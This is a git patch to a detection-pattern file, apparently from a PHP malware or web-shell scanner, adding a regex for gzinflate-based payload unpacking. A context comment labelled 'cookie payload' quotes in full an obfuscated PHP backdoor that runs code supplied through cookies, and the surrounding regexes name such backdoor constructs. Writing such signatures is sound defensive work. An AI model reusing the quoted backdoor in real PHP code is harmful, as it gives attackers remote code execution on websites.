From 1fad164790fedd9fc0d62c59931669bce5adbdae Mon Sep 17 00:00:00 2001 From: Gabor Gyorvari Date: Thu, 27 May 2021 06:47:52 +0200 Subject: [PATCH] gzipped payload --- definitions/patterns_re.txt | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/definitions/patterns_re.txt b/definitions/patterns_re.txt index ff85b01..ab073c2 100644 --- a/definitions/patterns_re.txt +++ b/definitions/patterns_re.txt @@ -125,4 +125,7 @@ create_function\s*\(\s*['"]{2} \$_REQUEST\s*\/\*[A-Za-z]+\*\/\[ # cookie payload if(isset($_COOKIE)){$p=$_COOKIE;(count($p)==55&&in_array(gettype($p).count($p),$p))?(($p[68]=$p[68].$p[22])&&($p[35]=$p[68]($p[35]))&&($p=$p[35]($p[13],$p[68]($p[45])))&&$p()):$p;} -\(count\(\$p\)==\d+&&in_array\(gettype\(\$p\)\.count\(\$p\),\$p\)\) \ No newline at end of file +\(count\(\$p\)==\d+&&in_array\(gettype\(\$p\)\.count\(\$p\),\$p\)\) + +# gzipped payload post process +explode\('\|\x01\|\x03\|\x03', gzinflate\( \ No newline at end of file